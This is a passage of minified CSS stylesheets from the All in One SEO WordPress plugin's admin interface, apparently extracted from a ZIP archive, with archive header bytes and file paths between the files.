#3676E0;color:#000;font-size:12px;gap:2px;position:relative}.google-serp-wireframe__tabs__tab--double-placeholder[data-v-d89a1214]:before,.google-serp-wireframe__tabs__tab--double-placeholder[data-v-d89a1214]:after,.google-serp-wireframe__tabs__tab--placeholder[data-v-d89a1214]:before,.google-serp-wireframe__tabs__tab--placeholder[data-v-d89a1214]:after{background-color:#d0d1d7;content:"";display:inline-block;height:12px}.google-serp-wireframe__tabs__tab--double-placeholder[data-v-d89a1214]:after,.google-serp-wireframe__tabs__tab--placeholder[data-v-d89a1214]:after{border-radius:170px;width:24px}.google-serp-wireframe__tabs__tab--double-placeholder[data-v-d89a1214]:before{border-radius:50%;width:12px}[dir=ltr] .google-serp-wireframe__tabs__tab--double-placeholder[data-v-d89a1214]:before{margin-right:3px}[dir=rtl] .google-serp-wireframe__tabs__tab--double-placeholder[data-v-d89a1214]:before{margin-left:3px}[dir=ltr] .google-serp-wireframe__tabs__tab--placeholder[data-v-d89a1214]{margin-left:auto}[dir=rtl] .google-serp-wireframe__tabs__tab--placeholder[data-v-d89a1214]{margin-right:auto}.google-serp-wireframe__results[data-v-d89a1214]{color:#8c8f9a;font-size:12px;margin-top:12px}.google-serp-wireframe__snippet[data-v-d89a1214]{margin:0 auto;max-width:660px;padding:20px var(--px-desktop) 0;width:100%}.google-serp-wireframe__snippet .google-serp-snippet-placeholder[data-v-d89a1214]{margin-top:20px}.google-serp-wireframe__divider[data-v-d89a1214]{border-top:1px solid #DCDDE1}.preview-wrapper .google-serp-wireframe-wrapper[data-v-84b8396a]{margin:20px}.preview-wrapper .google-serp-wireframe-wrapper--mobile[data-v-84b8396a]{margin:0 20px}.aioseo-seo-preview-standalone-view-meta-tags dl{margin:0}[dir=ltr] .aioseo-seo-preview-standalone-view-meta-tags dl{padding:0 0 0 10px}[dir=rtl] .aioseo-seo-preview-standalone-view-meta-tags dl{padding:0 10px 0 0}.aioseo-seo-preview-standalone-view-meta-tags dl dt,.aioseo-seo-preview-standalone-view-meta-tags dl dd{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica,Arial,sans-serif;margin:0;padding:0}.aioseo-seo-preview-standalone-view-meta-tags dl dt{color:#141b38;font-size:14px;font-weight:700}.aioseo-seo-preview-standalone-view-meta-tags dl dt+dd{margin-top:4px}[dir=ltr] .aioseo-seo-preview-standalone-view-meta-tags dl dt+dd{padding-left:10px}[dir=rtl] .aioseo-seo-preview-standalone-view-meta-tags dl dt+dd{padding-right:10px}.aioseo-seo-preview-standalone-view-meta-tags dl dd{color:#434960;font-size:13px;font-weight:400}.aioseo-seo-preview-standalone-view-meta-tags dl dd+dt{margin-top:8px}.aioseo-seo-preview-standalone-view-meta-tags dl dd :deep(a){border-bottom:1px dotted #005AE0;color:#005ae0;text-decoration:none}.aioseo-seo-preview-standalone-view-seo-inspector>div[data-v-4b5b6f85]{display:flex;margin:0 -20px}.aioseo-seo-preview-standalone-view-seo-inspector dl[data-v-4b5b6f85]{margin:0;padding:0}.aioseo-seo-preview-standalone-view-seo-inspector dl dt[data-v-4b5b6f85],.aioseo-seo-preview-standalone-view-seo-inspector dl dd[data-v-4b5b6f85]{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica,Arial,sans-serif;margin:0;padding:0}.aioseo-seo-preview-standalone-view-seo-inspector dl dt[data-v-4b5b6f85]{color:#141b38;font-size:16px;font-weight:700}.aioseo-seo-preview-standalone-view-seo-inspector dl dt+dd[data-v-4b5b6f85]{margin-top:8px}.aioseo-seo-preview-standalone-view-seo-inspector dl dd[data-v-4b5b6f85]{color:#434960;font-size:14px;font-weight:400;overflow-wrap:break-word;word-break:break-word}.aioseo-seo-preview-standalone-view-seo-inspector dl dd+dt[data-v-4b5b6f85]{margin-top:20px}.aioseo-seo-preview-standalone-view-seo-inspector .check[data-v-4b5b6f85]{align-items:center;display:flex;flex-wrap:nowrap;gap:3px}.aioseo-seo-preview-standalone-view-seo-inspector .check+.check[data-v-4b5b6f85]{margin-top:10px}.aioseo-seo-preview-standalone-view-seo-inspector .check__icon[data-v-4b5b6f85]{flex:0 1 20px;min-width:20px}.aioseo-seo-preview-standalone-view-seo-inspector .check__icon.red[data-v-4b5b6f85]{color:#df2a4a}.aioseo-seo-preview-standalone-view-seo-inspector .check__icon.orange[data-v-4b5b6f85]{color:#f18200}.aioseo-seo-preview-standalone-view-seo-inspector .check__icon.green[data-v-4b5b6f85]{color:#00aa63}.aioseo-seo-preview-standalone-view-seo-inspector .check__title[data-v-4b5b6f85]{font-weight:700}.aioseo-seo-preview-standalone-view-seo-inspector .first-half[data-v-4b5b6f85],.aioseo-seo-preview-standalone-view-seo-inspector .second-half[data-v-4b5b6f85]{padding:0 20px;position:relative}.aioseo-seo-preview-standalone-view-seo-inspector .first-half[data-v-4b5b6f85]{flex:0 1 auto;min-width:40%;width:100%}.aioseo-seo-preview-standalone-view-seo-inspector .first-half+.second-half[data-v-4b5b6f85]:before{background-color:#dcdde1;content:"";height:100%;position:absolute;top:0;width:1px}[dir=ltr] .aioseo-seo-preview-standalone-view-seo-inspector .first-half+.second-half[data-v-4b5b6f85]:before{left:0}[dir=rtl] .aioseo-seo-preview-standalone-view-seo-inspector .first-half+.second-half[data-v-4b5b6f85]:before{right:0}.aioseo-seo-preview-standalone-view-seo-inspector .second-half[data-v-4b5b6f85]{flex:1 1 60%;min-width:60%;width:100%}.aioseo-seo-preview-standalone-view-seo-inspector .no-keyphrase-found[data-v-4b5b6f85]{align-items:center;color:#f18200;display:flex;gap:2px}.aioseo-seo-preview-standalone-view-seo-inspector .aioseo-alert[data-v-4b5b6f85]{margin-top:30px}.aioseo-seo-preview-standalone-view-seo-inspector .aioseo-alert[data-v-4b5b6f85] a{color:#005ae0;text-decoration:none}.preview-wrapper[data-v-66b08051]{margin:20px}.preview-wrapper>*[data-v-66b08051]{padding:0}.aioseo-seo-preview-standalone{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica,Arial,sans-serif;line-height:normal}.aioseo-seo-preview-standalone *{box-sizing:border-box;letter-spacing:normal}.aioseo-seo-preview-standalone .text-truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.aioseo-seo-preview-standalone .modal-mask,.aioseo-seo-preview-standalone .modal-wrapper{z-index:100000}.aioseo-seo-preview-standalone .modal-wrapper .modal-container{display:flex;flex-direction:column;height:720px}.aioseo-seo-preview-standalone .modal-wrapper .modal-container .modal-header{flex:0 0 60px}[dir=ltr] .aioseo-seo-preview-standalone .modal-wrapper .modal-container .modal-header{padding-left:20px}[dir=rtl] .aioseo-seo-preview-standalone .modal-wrapper .modal-container .modal-header{padding-right:20px}.aioseo-seo-preview-standalone .modal-wrapper .modal-container .modal-header .aioseo-close{color:#141b38;min-height:14px;min-width:14px}.aioseo-seo-preview-standalone .modal-wrapper .modal-container .modal-body{flex:1 1 100%}.aioseo-seo-preview-standalone .modal-wrapper .modal-container__footer{align-items:center;display:grid;grid-template-columns:auto auto;justify-content:space-between;padding:0 20px;min-height:56px}.aioseo-seo-preview-standalone .modal-wrapper .modal-container__footer .device-toggle{display:flex;gap:8px}.aioseo-seo-preview-standalone .modal-wrapper .modal-container__footer .device-toggle .btn-device{align-items:center;border-radius:50%;color:#141b38;display:inline-flex;height:36px;justify-content:center;opacity:.5;outline-color:#005ae0;width:36px}.aioseo-seo-preview-standalone .modal-wrapper .modal-container__footer .device-toggle .btn-device--active{background-color:#d0d1d7;opacity:1}.aioseo-seo-preview-standalone .modal-wrapper .modal-container .aioseo-modal-content{display:flex;flex-direction:column;height:100%}.aioseo-seo-preview-standalone .modal-wrapper .modal-container .aioseo-modal-content .component-overflow{flex:1 1 100%;overflow-y:auto}.aioseo-seo-preview-standalone .modal-wrapper .modal-container .aioseo-modal-content .component-overflow .component-container{display:table;width:100%;position:relative;height:100%}.aioseo-seo-preview-standalone .modal-wrapper .modal-container .aioseo-modal-content .component-overflow .component-container .component-wrapper{background-color:#f0f2f5;display:table-cell;vertical-align:middle}.aioseo-seo-preview-standalone .modal-wrapper .modal-container .aioseo-modal-content .component-overflow .component-container .component-wrapper.tabViewSeoInspector{background-color:#fff;border:20px solid #fff;vertical-align:top}.aioseo-seo-preview-standalone .modal-wrapper .modal-container .aioseo-modal-content .component-overflow .component-container .component-wrapper.tabViewGoogle--mobile{vertical-align:bottom}.aioseo-seo-preview-standalone .aioseo-tabs{margin-bottom:0}.aioseo-seo-preview-standalone .aioseo-tabs .var-tab{gap:6px}.aioseo-seo-preview-standalone .aioseo-tabs .var-tab svg{width:20px}.aioseo-seo-preview-standalone .aioseo-tabs .var-tab .tab-label{font-weight:700;text-transform:none}.aioseo-seo-preview-standalone .aioseo-tabs .aioseo-mobile-tabs{margin-top:0}.aioseo-seo-preview-standalone .btn-edit-preview-data-wrapper .btn-edit-preview-data{gap:6px;outline-color:#005ae0}.aioseo-seo-preview-standalone .btn-edit-preview-data-wrapper .btn-edit-preview-data svg{width:14px} PKÉ—[k×ˉ‰>all-in-one-seo-pack/dist/Lite/assets/css/SeoSetup.BQWbCVLU.cssnu„[µü¤.aioseo-progress-circle__circle{transform-origin:center;stroke:#005ae0}[dir=ltr] .aioseo-progress-circle__circle{transform:rotate(270deg)}[dir=rtl] .aioseo-progress-circle__circle{transform:rotate(-270deg)}.aioseo-progress-circle__background{stroke:#005ae040}.aioseo-seo-setup{display:flex;flex-direction:row;align-items:center}.aioseo-seo-setup .progress{display:inline-flex;align-items:center;line-height:1;border:1px solid #C3C4C7;border-radius:100px;margin-bottom:20px;color:#141b38}[dir=ltr] .aioseo-seo-setup .progress{padding:8px 14px 8px 8px}[dir=rtl] .aioseo-seo-setup .progress{padding:8px 8px 8px 14px}.aioseo-seo-setup .progress .aioseo-progress-circle{width:18px}[dir=ltr] .aioseo-seo-setup .progress .aioseo-progress-circle{margin-right:8px}[dir=rtl] .aioseo-seo-setup .progress .aioseo-progress-circle{margin-left:8px}.aioseo-seo-setup .aioseo-button{font-size:12px;height:32px}.aioseo-seo-setup .aioseo-button svg{width:14px;height:14px}[dir=ltr] .aioseo-seo-setup .aioseo-button svg{margin-right:10px}[dir=rtl] .aioseo-seo-setup .aioseo-button svg{margin-left:10px}.aioseo-seo-setup .description{font-size:14px;margin-bottom:20px;color:#434960}.aioseo-seo-setup .aioseo-seo{max-width:300px;min-width:275px;width:100%;height:auto}@media screen and (max-width: 1280px){.aioseo-seo-setup .aioseo-seo{min-width:0}}@media screen and (max-width: 912px){.aioseo-seo-setup{flex-direction:column}}.aioseo-seo-setup--wp-styles .progress{margin-bottom:12px}.aioseo-seo-setup--wp-styles .description{color:#3c434a;margin-bottom:12px}.aioseo-seo-setup--wp-styles .button svg{vertical-align:text-bottom;width:14px;height:14px}[dir=ltr] .aioseo-seo-setup--wp-styles .button svg{margin-right:10px}[dir=rtl] .aioseo-seo-setup--wp-styles .button svg{margin-left:10px}.aioseo-seo-setup--wp-styles .aioseo-seo{max-width:225px;min-width:175px}@media screen and (max-width: 520px){.aioseo-seo-setup--wp-styles{flex-direction:column}} PKÉ—[ '“è è Lall-in-one-seo-pack/dist/Lite/assets/css/SeoSiteAnalysisResults.oz0MKVi7.cssnu„[µü¤.aioseo-seo-site-analysis-result{border:1px solid #DCDDE1;margin-top:8px}.aioseo-seo-site-analysis-result .result-header{height:48px;padding:0 13px;display:flex;align-items:center}.aioseo-seo-site-analysis-result .result-header .result-icon{display:flex;align-items:center}[dir=ltr] .aioseo-seo-site-analysis-result .result-header .result-icon{margin-right:14px}[dir=rtl] .aioseo-seo-site-analysis-result .result-header .result-icon{margin-left:14px}.aioseo-seo-site-analysis-result .result-header .result-icon svg{width:24px;height:24px;color:#8c8f9a}.aioseo-seo-site-analysis-result .result-header .result-icon svg.passed{color:#00aa63}.aioseo-seo-site-analysis-result .result-header .result-icon svg.error{color:#df2a4a}.aioseo-seo-site-analysis-result .result-header .result-icon svg.warning{color:#005ae0}.aioseo-seo-site-analysis-result .result-header .result-content{font-size:14px;line-height:22px;font-weight:600;flex:1}.aioseo-seo-site-analysis-result .result-header .result-toggle{width:30px;height:26px;border:1px solid #DCDDE1;border-radius:3px;display:flex;align-items:center;justify-content:center;cursor:pointer}.aioseo-seo-site-analysis-result .result-header .result-toggle.active,.aioseo-seo-site-analysis-result .result-header .result-toggle:hover{background-color:#434960}.aioseo-seo-site-analysis-result .result-header .result-toggle.active svg,.aioseo-seo-site-analysis-result .result-header .result-toggle:hover svg{color:#fff}[dir=ltr] .aioseo-seo-site-analysis-result .result-header .result-toggle.active svg{transform:rotate(-180deg)}[dir=rtl] .aioseo-seo-site-analysis-result .result-header .result-toggle.active svg{transform:rotate(180deg)}.aioseo-seo-site-analysis-result .result-header .result-toggle svg{width:100%;max-width:20px;height:auto;color:#8c8f9a;transition:transform .3s}[dir=ltr] .aioseo-seo-site-analysis-result .result-header .result-toggle svg{transform:rotate(-90deg)}[dir=rtl] .aioseo-seo-site-analysis-result .result-header .result-toggle svg{transform:rotate(90deg)}.aioseo-seo-site-analysis-result .result-body{padding:0 40px 22px}.aioseo-seo-site-analysis-result .result-body .result-message{color:#434960;font-size:14px}.aioseo-seo-site-analysis-result .result-body .result-code pre,.aioseo-seo-site-analysis-result .result-body .result-code-alt pre{background:#f3f4f5;border-radius:3px;max-width:100%;padding:10px;overflow:auto}.aioseo-seo-site-analysis-result .result-body .result-code pre code,.aioseo-seo-site-analysis-result .result-body .result-code-alt pre code{padding:0;background:transparent}.aioseo-seo-site-analysis-result .result-body .result-code pre{white-space:pre-wrap}.aioseo-seo-site-analysis-result .result-body .result-action{margin-top:20px}.aioseo-seo-site-analysis-results{padding-top:12px}.aioseo-seo-site-analysis-results .aioseo-google-search-preview{border:1px solid #E8E8EB;padding:16px}.aioseo-seo-site-analysis-results .group-header{font-size:16px;line-height:24px;font-weight:600}.aioseo-seo-site-analysis-results .group-header:not(:first-child){margin-top:20px} PKÉ—[ùbÞÈ<<Call-in-one-seo-pack/dist/Lite/assets/css/SeoStatistics.CB8qU2kX.cssnu„[µü¤.aioseo-search-statistics-seo-statistics{position:relative} PKÉ—[’.|™¹¹Kall-in-one-seo-pack/dist/Lite/assets/css/SeoStatisticsOverview.DadDmLS_.cssnu„[µü¤.aioseo-graph{position:relative}.aioseo-graph .apexcharts-legend{padding:0;inset:auto 0 0 0!important}.aioseo-graph .apexcharts-point-annotations{cursor:pointer}.aioseo-graph .apexcharts-point-annotations text,.aioseo-graph .apexcharts-point-annotations rect{pointer-events:none}.aioseo-graph .apexcharts-point-annotations .active-point{stroke:#005ae0;fill:#f0f6ff}.aioseo-graph .apexcharts-point-annotations .marker-circle{pointer-events:none}.aioseo-graph .aioseo-loading-spinner{top:0;bottom:0;left:0;right:0;margin:auto}.aioseo-graph-blurred{filter:blur(2px);pointer-events:none;-webkit-user-select:none;user-select:none}.aioseo-graph-legend-simple .apexcharts-legend{display:flex;flex-direction:row;gap:12px}.aioseo-graph-legend-simple .apexcharts-legend-marker{width:12px!important;height:12px!important}[dir=ltr] .aioseo-graph-legend-simple .apexcharts-legend-marker{margin-right:8px}[dir=rtl] .aioseo-graph-legend-simple .apexcharts-legend-marker{margin-left:8px}.aioseo-graph-legend-custom .apexcharts-legend{display:grid;grid-column-gap:16px;grid-row-gap:16px;overflow-y:hidden}.aioseo-graph-legend-custom .apexcharts-legend-series{border:1px solid #005AE0;border-radius:2px;position:relative;margin:0}[dir=ltr] .aioseo-graph-legend-custom .apexcharts-legend-series{padding:8px 8px 8px 32px}[dir=rtl] .aioseo-graph-legend-custom .apexcharts-legend-series{padding:8px 32px 8px 8px}.aioseo-graph-legend-custom .apexcharts-legend-series.apexcharts-inactive-legend{opacity:1;border-color:#d0d1d7}.aioseo-graph-legend-custom .apexcharts-legend-series .apexcharts-legend-text{display:inline-flex;line-height:125%;font-size:14px;color:#2c324c}.aioseo-graph-legend-custom .apexcharts-legend-series .apexcharts-legend-text strong{font-size:16px;color:#141b38}[dir=ltr] .aioseo-graph-legend-custom .apexcharts-legend-series .apexcharts-legend-text strong{margin-right:8px}[dir=rtl] .aioseo-graph-legend-custom .apexcharts-legend-series .apexcharts-legend-text strong{margin-left:8px}.aioseo-graph-legend-custom .apexcharts-legend-marker .marker-checkbox{position:absolute;cursor:pointer;top:0;width:16px;height:16px;background-color:#005ae0;transition:.2s;border-radius:3px;display:flex;align-items:center;justify-content:center}[dir=ltr] .aioseo-graph-legend-custom .apexcharts-legend-marker .marker-checkbox{left:-24px}[dir=rtl] .aioseo-graph-legend-custom .apexcharts-legend-marker .marker-checkbox{right:-24px}.aioseo-graph-legend-custom .apexcharts-legend-marker .marker-checkbox:before{position:absolute;content:"";height:14px;width:14px;bottom:1px;transition:.2s;font-size:18px;line-height:28px;border-radius:2px}.aioseo-graph-legend-custom .apexcharts-legend-marker .marker-checkbox svg{color:#fff;width:12px;height:12px}.aioseo-graph-legend-custom .apexcharts-legend-marker.apexcharts-inactive-legend{opacity:1}.aioseo-graph-legend-custom .apexcharts-legend-marker.apexcharts-inactive-legend .marker-checkbox{background-color:#d0d1d7}.aioseo-graph-legend-custom .apexcharts-legend-marker.apexcharts-inactive-legend .marker-checkbox:before{background-color:#fff}.aioseo-graph-legend-custom .apexcharts-legend-text{position:absolute;padding-top:8px;padding-bottom:8px;width:100%}[dir=ltr] .aioseo-graph-legend-custom .apexcharts-legend-text{left:0;padding-left:72px;padding-right:8px}[dir=rtl] .aioseo-graph-legend-custom .apexcharts-legend-text{right:0;padding-right:72px;padding-left:8px}.aioseo-graph-legend-custom .apexcharts-legend-text strong{display:inline-block;font-size:16px;vertical-align:middle}[dir=ltr] .aioseo-graph-legend-custom .apexcharts-legend-text strong{margin-right:4px}[dir=rtl] .aioseo-graph-legend-custom .apexcharts-legend-text strong{margin-left:4px}.aioseo-graph-legend-columns-4 .apexcharts-legend{grid-template-columns:repeat(4,1fr)}.aioseo-graph-legend-columns-3 .apexcharts-legend{grid-template-columns:repeat(3,1fr)}.aioseo-seo-statistics-overview{max-width:1000px;margin:0 auto}.aioseo-seo-statistics-overview .statistics{position:relative}.aioseo-seo-statistics-overview .statistics-title{flex:1 1 auto;display:flex;align-items:center;margin-bottom:14px}.aioseo-seo-statistics-overview .statistics-current{display:flex;align-items:center;font-weight:700;font-size:28px;color:#2c324c;margin-bottom:16px}.aioseo-seo-statistics-overview .statistics-current-total{flex:1 1 auto}.aioseo-seo-statistics-overview .statistics-current-difference{display:flex;align-items:center;font-size:16px}.aioseo-seo-statistics-overview .statistics-current-difference-direction{display:flex}[dir=ltr] .aioseo-seo-statistics-overview .statistics-current-difference-direction{margin-right:9px}[dir=rtl] .aioseo-seo-statistics-overview .statistics-current-difference-direction{margin-left:9px}.aioseo-seo-statistics-overview .statistics-current-difference-direction svg{vertical-align:middle;width:11px;height:6px}.aioseo-seo-statistics-overview .statistics-current-difference--up{color:#00aa63}.aioseo-seo-statistics-overview .statistics-current-difference--down{color:#df2a4a}.aioseo-seo-statistics-overview .statistics .blurred{filter:blur(2px);pointer-events:none;-webkit-user-select:none;user-select:none}.aioseo-seo-statistics-overview.hide-graph .statistics-current-total{max-width:100px}.aioseo-seo-statistics-overview.grid{background-color:#e8e8eb;grid-gap:1px;display:grid}.aioseo-seo-statistics-overview.grid .statistics{background-color:#fff}[dir=ltr] .aioseo-seo-statistics-overview.grid .statistics:nth-child(odd){padding-right:15px}[dir=rtl] .aioseo-seo-statistics-overview.grid .statistics:nth-child(odd){padding-left:15px}[dir=ltr] .aioseo-seo-statistics-overview.grid .statistics:nth-child(2n){padding-left:15px}[dir=rtl] .aioseo-seo-statistics-overview.grid .statistics:nth-child(2n){padding-right:15px}.aioseo-seo-statistics-overview.grid .statistics:nth-child(n+3){padding-top:15px}.aioseo-seo-statistics-overview.grid .statistics:nth-last-child(n+3){padding-bottom:15px}.aioseo-seo-statistics-overview.grid .statistics:nth-child(odd):not(:nth-last-child(2)):after{content:"";position:absolute;bottom:-17px;width:48px;height:32px;background:#fff}[dir=ltr] .aioseo-seo-statistics-overview.grid .statistics:nth-child(odd):not(:nth-last-child(2)):after{right:-25px}[dir=rtl] .aioseo-seo-statistics-overview.grid .statistics:nth-child(odd):not(:nth-last-child(2)):after{left:-25px}.aioseo-seo-statistics-overview.side-by-side{grid-gap:40px;display:grid}.aioseo-seo-statistics-overview.side-by-side .statistics:not(:last-child):after{content:"";position:absolute;bottom:0;width:1px;height:100%;background:#e8e8eb}[dir=ltr] .aioseo-seo-statistics-overview.side-by-side .statistics:not(:last-child):after{right:-20px}[dir=rtl] .aioseo-seo-statistics-overview.side-by-side .statistics:not(:last-child):after{left:-20px}.aioseo-seo-statistics-overview.side-by-side .statistics .statistics-current-total{flex:0 1 auto}[dir=ltr] .aioseo-seo-statistics-overview.side-by-side .statistics .statistics-current-total{margin-right:16px}[dir=rtl] .aioseo-seo-statistics-overview.side-by-side .statistics .statistics-current-total{margin-left:16px}@media (max-width: 1024px){.aioseo-seo-statistics-overview.side-by-side{grid-template-columns:repeat(2,1fr)}.aioseo-seo-statistics-overview.side-by-side .statistics:after{display:none}}.aioseo-seo-statistics-overview .aioseo-loading-spinner{top:0;bottom:0;left:0;right:0;margin:auto} PKÉ—[šPö÷VVAall-in-one-seo-pack/dist/Lite/assets/css/SettingsRow.BUqir0Pd.cssnu„[µü¤.aioseo-settings-row{margin-bottom:var(--aioseo-gutter);padding-bottom:var(--aioseo-gutter);border-bottom:1px solid #E8E8EB}@media only screen and (min-width: 912px){.aioseo-settings-row>.col-md-3:first-child{max-width:240px}.aioseo-settings-row:not(.no-right-max-width)>.col-md-9:last-child{max-width:940px;flex:1}}.aioseo-settings-row :where(.aioseo-row){--aioseo-gutter: 12px}.aioseo-settings-row>:last-child{margin-bottom:0}.aioseo-settings-row.no-margin{margin-bottom:0}.aioseo-settings-row.small-padding{padding-bottom:4px}.aioseo-settings-row.medium-margin{margin-bottom:16px}.aioseo-settings-row.no-border{border:none;margin-bottom:0}.aioseo-settings-row.no-horizontal-margin{margin-left:0!important;margin-right:0!important}.aioseo-settings-row.no-vertical-margin{margin-top:0!important;margin-bottom:0!important}.aioseo-settings-row>.aioseo-col{padding-block:0}.aioseo-settings-row .settings-name{color:#141b38}.aioseo-settings-row .settings-name .name{font-weight:600;font-size:14px;line-height:22px;display:flex;align-items:center}.aioseo-settings-row .settings-name .name.small-margin{margin-bottom:5px}.aioseo-settings-row .settings-name .name.align-small{line-height:30px}[dir=ltr] .aioseo-settings-row .settings-name .name .aioseo-pro-badge{margin-left:10px}[dir=rtl] .aioseo-settings-row .settings-name .name .aioseo-pro-badge{margin-right:10px}.aioseo-settings-row .settings-name .required-field{color:#df2a4a}.aioseo-settings-row .settings-name .aioseo-description{margin-top:12px}.aioseo-settings-row .settings-content{font-size:14px;line-height:22px}.aioseo-settings-row p.description{font-size:14px} PKÉ—[„è ½OOGall-in-one-seo-pack/dist/Lite/assets/css/SettingsSeparator.Dlz8NI2c.cssnu„[µü¤.aioseo-separators{--aioseo-gutter: 8px;position:relative;margin-top:0}[dir=ltr] .aioseo-separators{padding-right:100px}[dir=rtl] .aioseo-separators{padding-left:100px}.aioseo-separators .aioseo-col.col-sm-1{flex:0 0 40px;max-width:none}.aioseo-separators .aioseo-col .separator{background-color:#f3f4f5;display:flex;align-items:center;justify-content:center;min-height:40px;font-weight:600;border:1px solid #D0D1D7;border-radius:3px;font-size:20px;cursor:pointer}.aioseo-separators .aioseo-col .separator:hover{background-color:#e5e7e9}.aioseo-separators .aioseo-col .separator.active{background-color:#005ae0;border-color:#005ae0;color:#fff}.aioseo-separators .aioseo-col .separator.active:hover{background-color:#005ae0}.aioseo-separators .aioseo-col .show-more{height:100%;display:flex;align-items:center}.aioseo-separators .aioseo-col .show-more a{color:#8c8f9a}.aioseo-separators .aioseo-col .custom-separator{font-weight:600;display:flex;flex-direction:column;align-items:flex-start;gap:4px;margin-top:8px}.aioseo-separators .aioseo-col .custom-separator .aioseo-input-container{max-width:200px} PKÉ—[Æ>o¾»»Aall-in-one-seo-pack/dist/Lite/assets/css/SitemapsPro.DYaYma0b.cssnu„[µü¤.aioseo-feature-card{height:100%;border:1px solid #E8E8EB;background:#fff;box-shadow:0 2px 5px #0000000d;color:#141b38;display:flex;flex-direction:column}.aioseo-feature-card .feature-card-body{line-height:22px;padding:20px;flex:1}.aioseo-feature-card .feature-card-body.static{padding:20px}.aioseo-feature-card .feature-card-body .feature-card-header{display:flex;align-items:center;font-size:14px;font-weight:600;margin-bottom:12px}.aioseo-feature-card .feature-card-body .feature-card-header img,.aioseo-feature-card .feature-card-body .feature-card-header svg{width:24px;height:24px}[dir=ltr] .aioseo-feature-card .feature-card-body .feature-card-header img,[dir=ltr] .aioseo-feature-card .feature-card-body .feature-card-header svg{margin-right:10px}[dir=rtl] .aioseo-feature-card .feature-card-body .feature-card-header img,[dir=rtl] .aioseo-feature-card .feature-card-body .feature-card-header svg{margin-left:10px}.aioseo-feature-card .feature-card-body .feature-card-description{color:#434960;font-size:14px}.aioseo-feature-card .feature-card-body .feature-card-description .learn-more{margin-top:12px;font-size:14px}.aioseo-feature-card .feature-card-footer{padding:15px}.aioseo-feature-card .feature-card-footer:not(.upgrade-required){border:2px solid #fff;background-color:#f9f9fa;padding:12px 20px;min-height:43px}.aioseo-feature-card .feature-card-footer .feature-card-install-activate{display:flex;align-items:center;justify-content:flex-end;height:30px;position:relative}.aioseo-feature-card .feature-card-footer .feature-card-install-activate .aioseo-loading-spinner{position:absolute}[dir=ltr] .aioseo-feature-card .feature-card-footer .feature-card-install-activate .aioseo-loading-spinner{left:0}[dir=rtl] .aioseo-feature-card .feature-card-footer .feature-card-install-activate .aioseo-loading-spinner{right:0}.aioseo-feature-card .feature-card-footer .feature-card-install-activate .version{flex:1}.aioseo-feature-card .feature-card-footer .feature-card-install-activate .status{font-weight:600;font-size:14px}[dir=ltr] .aioseo-feature-card .feature-card-footer .feature-card-install-activate .aioseo-toggle .toggle-content{margin-right:0;margin-left:10px}[dir=rtl] .aioseo-feature-card .feature-card-footer .feature-card-install-activate .aioseo-toggle .toggle-content{margin-left:0;margin-right:10px}.aioseo-feature-card .feature-card-footer .feature-card-upgrade-cta{display:flex;align-items:center;justify-content:flex-end}.aioseo-feature-card .feature-card-footer .feature-card-upgrade-cta .aioseo-tooltip{margin:0;display:inline-block;flex:1}.aioseo-feature-card .feature-card-footer .feature-card-upgrade-cta .aioseo-tooltip .version{cursor:pointer;color:#005ae0;font-weight:600;text-decoration:underline}.aioseo-feature-card .feature-card-footer.installed .feature-card-install-activate .status{color:#8c8f9a}.aioseo-feature-card-modal .aioseo-modal-body{padding:20px 40px 40px;display:flex;align-items:center;justify-content:center;flex-direction:column;position:relative}.aioseo-feature-card-modal .aioseo-modal-body h3{font-size:20px;margin-bottom:16px}.aioseo-feature-card-modal .aioseo-modal-body .reset-description{font-size:16px;color:#141b38;margin-bottom:16px;text-align:center;max-width:515px}.aioseo-feature-card-modal .aioseo-modal-body button.close{position:absolute;top:11px;width:24px;height:24px;background-color:#fff;border:none;display:flex;align-items:center}[dir=ltr] .aioseo-feature-card-modal .aioseo-modal-body button.close{right:11px}[dir=rtl] .aioseo-feature-card-modal .aioseo-modal-body button.close{left:11px}.aioseo-feature-card-modal .aioseo-modal-body button.close svg.aioseo-close{cursor:pointer;width:14px;height:14px}.aioseo-feature-card-modal .aioseo-modal-body .aioseo-button:not(.close){margin-top:16px} PKÉ—[A |ÅÅJall-in-one-seo-pack/dist/Lite/assets/css/SmartRecommendations.GCIfJr6k.cssnu„[µü¤.aioseo-wizard-smart-recommendations .header{font-size:24px;color:#141b38;font-weight:600}.aioseo-wizard-smart-recommendations .description{margin-top:20px;font-size:16px;color:#434960;margin-bottom:40px;line-height:1.4}.aioseo-wizard-smart-recommendations .available-features{font-size:16px;color:#141b38;margin:20px 0}.aioseo-wizard-smart-recommendations .available-features.no-access{color:#434960}.aioseo-wizard-smart-recommendations .aioseo-settings-row{font-size:16px;color:#141b38}.aioseo-wizard-smart-recommendations .aioseo-settings-row .settings-name{margin-bottom:10px}.aioseo-wizard-smart-recommendations .aioseo-tooltip svg.aioseo-circle-question-mark{width:17px;height:17px;color:#8c8f9a;cursor:pointer}.aioseo-wizard-smart-recommendations .go-back a{color:#434960;font-size:14px}.aioseo-smart-recommendations-modal .aioseo-modal-body{padding:20px 40px 40px;display:flex;flex-direction:column;position:relative}.aioseo-smart-recommendations-modal .aioseo-modal-body .actions{margin-top:20px;display:flex;align-items:center}[dir=ltr] .aioseo-smart-recommendations-modal .aioseo-modal-body .actions>*{margin-right:20px}[dir=rtl] .aioseo-smart-recommendations-modal .aioseo-modal-body .actions>*{margin-left:20px}[dir=ltr] .aioseo-smart-recommendations-modal .aioseo-modal-body .actions>*:last-child{margin-right:0}[dir=rtl] .aioseo-smart-recommendations-modal .aioseo-modal-body .actions>*:last-child{margin-left:0}.aioseo-smart-recommendations-modal .aioseo-modal-body .actions .spacer{flex:1 0 auto}.aioseo-smart-recommendations-modal .aioseo-modal-body .aioseo-alert{margin-top:30px;font-size:14px;text-align:center}.aioseo-smart-recommendations-modal .aioseo-modal-body .bonus-alert{margin:24px auto;max-width:650px} PKÉ—[ù!€]ÌÌDall-in-one-seo-pack/dist/Lite/assets/css/SocialProfiles.DTumgFYz.cssnu„[µü¤.aioseo-social-profiles{--aioseo-gutter: 20px}.aioseo-social-profiles .same-username .use-same{padding:16px;background:#f9f9fa;border-radius:4px}.aioseo-social-profiles .same-username .use-same>label{align-items:flex-start}.aioseo-social-profiles .same-username .use-same>label .form-checkbox-wrapper{margin-top:2px}.aioseo-social-profiles .same-username 